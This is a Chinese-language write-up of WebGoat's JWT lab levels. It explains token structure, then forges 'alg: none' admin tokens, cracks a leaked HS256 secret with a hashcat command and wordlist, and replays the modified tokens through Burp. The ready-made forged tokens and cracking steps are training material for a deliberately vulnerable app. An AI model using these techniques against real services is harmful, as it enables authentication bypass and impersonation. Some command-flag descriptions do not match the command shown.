bp安装插件
JWT
JWT(JSON Web Token)由三部分组成:头部(Header)、载荷(Payload)、签名(Signature)。
JWT(JSON Web Token)由三部分组成:头部(Header)、载荷(Payload)、签名(Signature)。
头部(Header):头部通常由两部分组成,算法类型和令牌类型。
算法类型:指定用于生成签名的算法,例如 HMAC、RSA 或者 ECDSA。
令牌类型:指定令牌的类型,常见的是 JWT。头部使用 Base64Url 编码表示,并作为整个 JWT 的第一部分。头部的一个示例:
{
"alg": "HS256",none
"typ": "JWT"
}载荷(Payload):载荷存储了有关用户或实体的声明和其他有关信息。
声明:如用户 ID、角色、权限等信息。
注册声明:包含一些标准的声明(比如发行人、过期时间等)和一些自定义的声明。载荷也使用 Base64Url 编码表示,并作为整个 JWT 的第二部分。载荷的一个示例:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}签名(Signature):签名是对头部和载荷进行签名的结果,用于验证 JWT 的完整性和真实性。
签名生成方式:将头部和载荷进行 Base64Url 编码后拼接在一起,然后使用指定的加密算法(如 HMAC、RSA)进行签名,将生成的签名添加到 JWT 中。
头部
alg
是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。
typ
说明这个token的类型为JWT
payload
签名
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名
JWT 靶场为例
kali启动靶场
启动命令
java -jar webgoat-server-8.1.0.jar --server.port=8888 --server.address=192.168.176.128
访问网址192.168.176.128:8888/WebGoat
注册账户
第四关 :目的伪造签名,将投票清空
可以投票,但不能清空需要admin管理员用户
开启代理,点击删除,利用bp抓取历史流量包
发送到repeater模块
复制token到网址进行解密
想要将tom改为admin用户,需要将签名里面alg对应的加密方式改为none 再将payload里面的false改为true,这是base64加密的可以利用base64加密修改,不要等号
1
{
"alg": "none"
}# base64编码后
ewogICJhbGciOiAibm9uZSIKfQ
2
{
"iat": 1702819755,
"admin": "true",
"user": "Tom"
}# base64 编码后
ewogICJpYXQiOiAxNzAyODE5NzU1LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0
修改完成后的,将其复制到bp的抓取的请求包里面
注意,第二payload的点不能漏掉,签名可以不复制
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNzAyODE5NzU1LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
JSESSIONI 不能被删除,否则就不行了
进行send重放,修改成功
成功,票据被清空了
第五关:目的修改exp,爆破密钥
给了一个已经泄露的 JWT
爆破密钥的字典
victory
secret1
business
washington
jwt字典,将得到泄露jwt粘贴进去
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU3MDkyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.K99uYAiHZLpedIcHXGgHZ1z2hqi2CnqLXybwJ_rZH74
进行爆破
hashcat -m 16500 jwt.txt -a 3 -w 2 1.txt --force
-m 16500 这里的16500对应的就是jwt的token爆破;
-a 3 代表蛮力破解
-w 3 高速破解,就是会让桌面进程无响应的那种高速
jwt.txt 题目要求破解的token保存到的文件
pass.txt 密码字典
成功爆破出 密钥为victory
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU3MDkyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.K99uYAiHZLpedIcHXGgHZ1z2hqi2CnqLXybwJ_rZH74:victory
修改jwt
替换tom为WebGoat
修改exp有效时间
设置一个新的exp
最终的base64编码好的
ewogICJpc3MiOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwKICAiYXVkIjogIndlYmdvYXQub3JnIiwKICAiaWF0IjogMTcwMTk1NzAzMiwKICAiZXhwIjogMTcwMTk1OTQzMywKICAic3ViIjogInRvbUB3ZWJnb2F0Lm9yZyIsCiAgInVzZXJuYW1lIjogIldlYkdvYXQiLAogICJFbWFpbCI6ICJ0b21Ad2ViZ29hdC5vcmciLAogICJSb2xlIjogWwogICAgIk1hbmFnZXIiLAogICAgIlByb2plY3QgQWRtaW5pc3RyYXRvciIKICBdCn0
替换密钥,不需要第三步
修改完成的JWT
eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwMTk1NzAzMiwiZXhwIjoxNzAxOTU5NDMzLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0Lm9yZyIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.7S8xgI-rPri_bUnHujaosQ_vWU8fgimcIbQ72GqTNVc
通关
第七关:目的改变JWT,使tom付款
靶场提供了一个日志
有泄露的JWT
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
修改alg和payload
修改后的alg base64编码后
ewogICJhbGciOiAibm9uZSIKfQ
修改后的payload base64编码后的
ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0
修改完成后JWT
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
开启代理,抓取流量
将修改后的JWT 放置进去,进行重放,通关成功
ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNzAxOTYwNjMzLAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.